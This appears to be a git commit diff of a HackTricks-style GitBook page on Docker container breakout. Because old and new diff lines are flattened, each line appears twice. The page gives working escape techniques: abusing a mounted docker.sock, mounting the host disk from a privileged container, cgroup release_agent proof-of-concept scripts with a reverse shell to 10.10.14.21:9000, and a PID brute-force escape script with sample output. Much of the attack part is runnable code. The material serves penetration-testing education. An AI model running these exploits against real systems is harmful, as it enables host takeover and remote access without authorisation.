GitBook: [master] 11 pages and 18 assets modified

This commit is contained in:
CPol 2021-01-17 15:01:25 +00:00 committed by gitbook-bot
parent 4d19d54056
commit f21dda2da1
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
20 changed files with 529 additions and 532 deletions

View file

Before

Width:  |  Height:  |  Size: 93 KiB

After

Width:  |  Height:  |  Size: 93 KiB

View file

Before

Width:  |  Height:  |  Size: 93 KiB

After

Width:  |  Height:  |  Size: 93 KiB

View file

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 40 KiB

View file

Before

Width:  |  Height:  |  Size: 5.2 KiB

After

Width:  |  Height:  |  Size: 5.2 KiB

View file

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 13 KiB

View file

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 13 KiB

View file

Before

Width:  |  Height:  |  Size: 766 KiB

After

Width:  |  Height:  |  Size: 766 KiB

View file

Before

Width:  |  Height:  |  Size: 766 KiB

After

Width:  |  Height:  |  Size: 766 KiB

View file

Before

Width:  |  Height:  |  Size: 766 KiB

After

Width:  |  Height:  |  Size: 766 KiB

View file

@ -10,7 +10,7 @@ dht udp "DHT Nodes"
![](.gitbook/assets/image%20%28182%29.png) ![](.gitbook/assets/image%20%28182%29.png)
![](.gitbook/assets/image%20%28345%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29.png) ![](.gitbook/assets/image%20%28345%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29.png)
InfluxDB InfluxDB

View file

@ -395,7 +395,7 @@ Partition Record Format:
In order to mount a MBR in Linux you first need to get the start offset \(you can use `fdisk` and the the `p` command\) In order to mount a MBR in Linux you first need to get the start offset \(you can use `fdisk` and the the `p` command\)
![](../../.gitbook/assets/image%20%28413%29%20%283%29%20%283%29%20%283%29%20%281%29.png) ![](../../.gitbook/assets/image%20%28413%29%20%283%29%20%283%29%20%283%29%20%282%29%20%281%29.png)
An then use the following code An then use the following code

View file

@ -1,496 +1,492 @@
# Docker Breakout # Docker Breakout
## Mounted docker socket ## Mounted docker socket
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it. If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
```bash ```bash
#Search the socket #Search the socket
find / -name docker.sock 2>/dev/null find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock #It's usually in /run/docker.sock
``` ```
In this case you can use regular docker commands to communicate with the docker daemon: In this case you can use regular docker commands to communicate with the docker daemon:
```bash ```bash
#List images to use one #List images to use one
docker images docker images
#Run the image mounting the host disk and chroot on it #Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
``` ```
{% hint style="info" %} {% hint style="info" %}
In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
{% endhint %} {% endhint %}
## Container Capabilities ## Container Capabilities
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`** You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`**
You can check currently container capabilities with: You can check currently container capabilities with:
```bash ```bash
capsh --print capsh --print
``` ```
In the following page you can **learn more about linux capabilities** and how to abuse them: In the following page you can **learn more about linux capabilities** and how to abuse them:
{% page-ref page="linux-capabilities.md" %} {% page-ref page="linux-capabilities.md" %}
## `--privileged` flag ## `--privileged` flag
The --privileged flag allows the container to have access to the host devices. The --privileged flag allows the container to have access to the host devices.
### I own Root ### I own Root
Well configured docker containers won't allow command like **fdisk -l**. However on missconfigured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive. Well configured docker containers won't allow command like **fdisk -l**. However on missconfigured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive.
![](https://bestestredteam.com/content/images/2019/08/image-16.png) ![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial: So to take over the host machine, it is trivial:
```sh ```bash
mkdir -p /mnt/hola mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola mount /dev/sda1 /mnt/hola
``` ```
And voilà ! You can now acces the filesystem of the host because it is mounted in the /mnt/hole folder. And voilà ! You can now acces the filesystem of the host because it is mounted in the /mnt/hole folder.
{% code title="Initial PoC" %}
{% code title="Initial PoC" %} ```bash
# spawn a new container to exploit via:
```bash # docker run --rm -it --privileged ubuntu bash
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release touch /o;
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo $t/c >$d/release_agent;
touch /o; echo "#!/bin/sh $1 >$t/o" >/c;
echo $t/c >$d/release_agent; chmod +x /c;
echo "#!/bin/sh $1 >$t/o" >/c; sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
chmod +x /c; ```
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o {% endcode %}
```
{% endcode %} {% code title="Second PoC" %}
```bash
# On the host
{% code title="Second PoC" %} docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```bash # In the container
# On the host mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
echo 1 > /tmp/cgrp/x/notify_on_release
# In the container host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo 1 > /tmp/cgrp/x/notify_on_release #For a normal PoC =================
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo '#!/bin/sh' > /cmd
echo "$host_path/cmd" > /tmp/cgrp/release_agent echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#For a normal PoC ================= #===================================
echo '#!/bin/sh' > /cmd #Reverse shell
echo "ps aux > $host_path/output" >> /cmd echo '#!/bin/bash' > /cmd
chmod a+x /cmd echo "bash -i >& /dev/tcp/10.10.14.21/9000 0>&1" >> /cmd
#=================================== chmod a+x /cmd
#Reverse shell #===================================
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.14.21/9000 0>&1" >> /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
chmod a+x /cmd head /output
#=================================== ```
{% endcode %}
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities.
```
{% endcode %} In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. 1. We must be running as root inside the container
2. The container must be run with the `SYS_ADMIN` Linux capability
In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are: 3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
1. We must be running as root inside the container
2. The container must be run with the `SYS_ADMIN` Linux capability The `SYS_ADMIN` capability allows a container to perform the mount syscall \(see [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
The `SYS_ADMIN` capability allows a container to perform the mount syscall \(see [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so. A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`. ### Breaking down the proof of concept
A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` Now that we understand the requirements to use this technique and have refined the proof of concept exploit, lets walk through it line-by-line to demonstrate how it works.
### Breaking down the proof of concept To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
Now that we understand the requirements to use this technique and have refined the proof of concept exploit, lets walk through it line-by-line to demonstrate how it works. To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup \(named “x” for the purposes of this example\). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup. If youre following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, its because your setup doesnt have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. Were using RDMA because the original PoC was only designed to work with it.
To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup \(named “x” for the purposes of this example\). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers. Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
If youre following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, its because your setup doesnt have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. Were using RDMA because the original PoC was only designed to work with it. We can see the “x” child cgroup creation and its directory listing below.
Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another. ```text
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
We can see the “x” child cgroup creation and its directory listing below. root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
```text root@b11cf9eab4fd:/# ls /tmp/cgrp/x
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
root@b11cf9eab4fd:/# ls /tmp/cgrp/ ```
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, well grab the containers path on the host from the `/etc/mtab` file.
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
``` The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, well grab the containers path on the host from the `/etc/mtab` file. Those operations can be seen below:
The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host. ```text
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
Those operations can be seen below: root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
```text ```
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` Note the path to the `/cmd` script, which we are going to create on the host:
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
``` ```text
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
Note the path to the `/cmd` script, which we are going to create on the host: /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
```
```text
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents:
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
``` ```text
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents: root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
```text root@b11cf9eab4fd:/# cat /cmd
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd #!/bin/sh
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
root@b11cf9eab4fd:/# chmod a+x /cmd ```
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container:
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
``` ```text
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container: root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
```text root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root@b11cf9eab4fd:/# head /output root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd] root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp] root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp] root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq] ```
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] ## `--privileged` flag v2
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
``` The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point.
## `--privileged` flag v2 ### Kata Containers
The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point. ```text
root@container:~$ head -1 /etc/mtab
### Kata Containers kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
```
```text
root@container:~$ head -1 /etc/mtab [Kata Containers](https://katacontainers.io/) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
``` \* More on Kata Containers in a future blog post.
[Kata Containers](https://katacontainers.io/) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine. ### Device Mapper
\* More on Kata Containers in a future blog post. ```text
root@container:~$ head -1 /etc/mtab
### Device Mapper /dev/sdc / ext4 rw,relatime,stripe=384 0 0
```
```text
root@container:~$ head -1 /etc/mtab I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
``` ### An Alternative PoC
I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felixs PoC cannot be used as is. However, we can still execute this attack with a little ingenuity.
### An Alternative PoC The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.
Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felixs PoC cannot be used as is. However, we can still execute this attack with a little ingenuity. #### Proc to the Rescue <a id="proc-to-the-rescue"></a>
The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere. The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container
#### Proc to the Rescue <a id="proc-to-the-rescue"></a> ```bash
root@container:~$ sleep 100
The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container ```
```bash ```bash
root@container:~$ sleep 100 root@host:~$ ps -eaf | grep sleep
``` root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
```bash total 0
root@host:~$ ps -eaf | grep sleep dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100 dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
root@host:~$ ls -la /proc/`pidof sleep` dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
total 0 -rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
dr-xr-xr-x 9 root root 0 Nov 19 10:03 . -r-------- 1 root root 0 Nov 19 10:04 auxv
dr-xr-xr-x 430 root root 0 Nov 9 15:41 .. -r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr --w------- 1 root root 0 Nov 19 10:04 clear_refs
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup -r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
-r-------- 1 root root 0 Nov 19 10:04 auxv ...
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup -rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
--w------- 1 root root 0 Nov 19 10:04 clear_refs lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline -rw-r--r-- 1 root root 0 Nov 19 10:29 sched
... ...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map ```
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched _As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_
...
``` > /proc/\[pid\]/root
>
_As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_ > UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot\(2\) system call. This file is a symbolic link that points to the processs root directory, and behaves in the same way as exe, and fd/\*.
>
> /proc/\[pid\]/root > Note however that this file is not merely a symbolic link. It provides the same view of the filesystem \(including namespaces and the set of per-process mounts\) as the process itself.
>
> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot\(2\) system call. This file is a symbolic link that points to the processs root directory, and behaves in the same way as exe, and fd/\*. The `/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container:Container
>
> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem \(including namespaces and the set of per-process mounts\) as the process itself. ```bash
root@container:~$ echo findme > /findme
The `/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container:Container root@container:~$ sleep 100
```
```bash
root@container:~$ echo findme > /findme ```bash
root@container:~$ sleep 100 root@host:~$ cat /proc/`pidof sleep`/root/findme
``` findme
```
```bash
root@host:~$ cat /proc/`pidof sleep`/root/findme This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container.
findme
``` #### Pid Bashing <a id="pid-bashing"></a>
This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container. This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container
#### Pid Bashing <a id="pid-bashing"></a> ```text
root@container:~$ echo findme > /findme
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container root@container:~$ sleep 100
```
```text
root@container:~$ echo findme > /findme Host
root@container:~$ sleep 100
``` ```bash
root@host:~$ COUNTER=1
Host root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
```bash 7822
root@host:~$ COUNTER=1 root@host:~$ cat /proc/${COUNTER}/root/findme
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done findme
root@host:~$ echo ${COUNTER} ```
7822
root@host:~$ cat /proc/${COUNTER}/root/findme #### Putting it All Together <a id="putting-it-all-together"></a>
findme
``` To complete this attack the brute force technique can be used to guess the pid for the path `/proc/<pid>/root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created.
#### Putting it All Together <a id="putting-it-all-together"></a> The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but dont quote me on that.
To complete this attack the brute force technique can be used to guess the pid for the path `/proc/<pid>/root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created. The below PoC implements these techniques to provide a more generic attack than first presented in Felixs original PoC for escaping a privileged container using the cgroups `release_agent` functionality:
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but dont quote me on that. ```bash
#!/bin/sh
The below PoC implements these techniques to provide a more generic attack than first presented in Felixs original PoC for escaping a privileged container using the cgroups `release_agent` functionality:
OUTPUT_DIR="/"
```bash MAX_PID=65535
#!/bin/sh CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
OUTPUT_DIR="/" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
MAX_PID=65535 PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
CGROUP_NAME="xyx" OUTPUT_NAME="${CGROUP_NAME}_payload.out"
CGROUP_MOUNT="/tmp/cgrp" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have)
OUTPUT_NAME="${CGROUP_NAME}_payload.out" sleep 10000 &
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Prepare the payload script to execute on the host
# Run a process for which we can search for (not needed in reality, but nice to have) cat > ${PAYLOAD_PATH} << __EOF__
sleep 10000 & #!/bin/sh
# Prepare the payload script to execute on the host OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh # Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} __EOF__
# Commands to run on the host< # Make the payload script executable
ps -eaf > \${OUTPATH} 2>&1 chmod a+x ${PAYLOAD_PATH}
__EOF__
# Set up the cgroup mount using the memory resource cgroup controller
# Make the payload script executable mkdir ${CGROUP_MOUNT}
chmod a+x ${PAYLOAD_PATH} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
# Set up the cgroup mount using the memory resource cgroup controller echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} # Brute force the host pid until the output path is created, or we run out of guesses
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} TPID=1
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release while [ ! -f ${OUTPUT_PATH} ]
do
# Brute force the host pid until the output path is created, or we run out of guesses if [ $((${TPID} % 100)) -eq 0 ]
TPID=1 then
while [ ! -f ${OUTPUT_PATH} ] echo "Checking pid ${TPID}"
do if [ ${TPID} -gt ${MAX_PID} ]
if [ $((${TPID} % 100)) -eq 0 ] then
then echo "Exiting at ${MAX_PID} :-("
echo "Checking pid ${TPID}" exit 1
if [ ${TPID} -gt ${MAX_PID} ] fi
then fi
echo "Exiting at ${MAX_PID} :-(" # Set the release_agent path to the guessed pid
exit 1 echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
fi # Trigger execution of the release_agent
fi sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
# Set the release_agent path to the guessed pid TPID=$((${TPID} + 1))
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent done
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" # Wait for and cat the output
TPID=$((${TPID} + 1)) sleep 1
done echo "Done! Output:"
cat ${OUTPUT_PATH}
# Wait for and cat the output ```
sleep 1
echo "Done! Output:" Executing the PoC within a privileged container should provide output similar to:
cat ${OUTPUT_PATH}
``` ```bash
root@container:~$ ./release_agent_pid_brute.sh
Executing the PoC within a privileged container should provide output similar to: Checking pid 100
Checking pid 200
```bash Checking pid 300
root@container:~$ ./release_agent_pid_brute.sh Checking pid 400
Checking pid 100 Checking pid 500
Checking pid 200 Checking pid 600
Checking pid 300 Checking pid 700
Checking pid 400 Checking pid 800
Checking pid 500 Checking pid 900
Checking pid 600 Checking pid 1000
Checking pid 700 Checking pid 1100
Checking pid 800 Checking pid 1200
Checking pid 900
Checking pid 1000 Done! Output:
Checking pid 1100 UID PID PPID C STIME TTY TIME CMD
Checking pid 1200 root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
Done! Output: root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
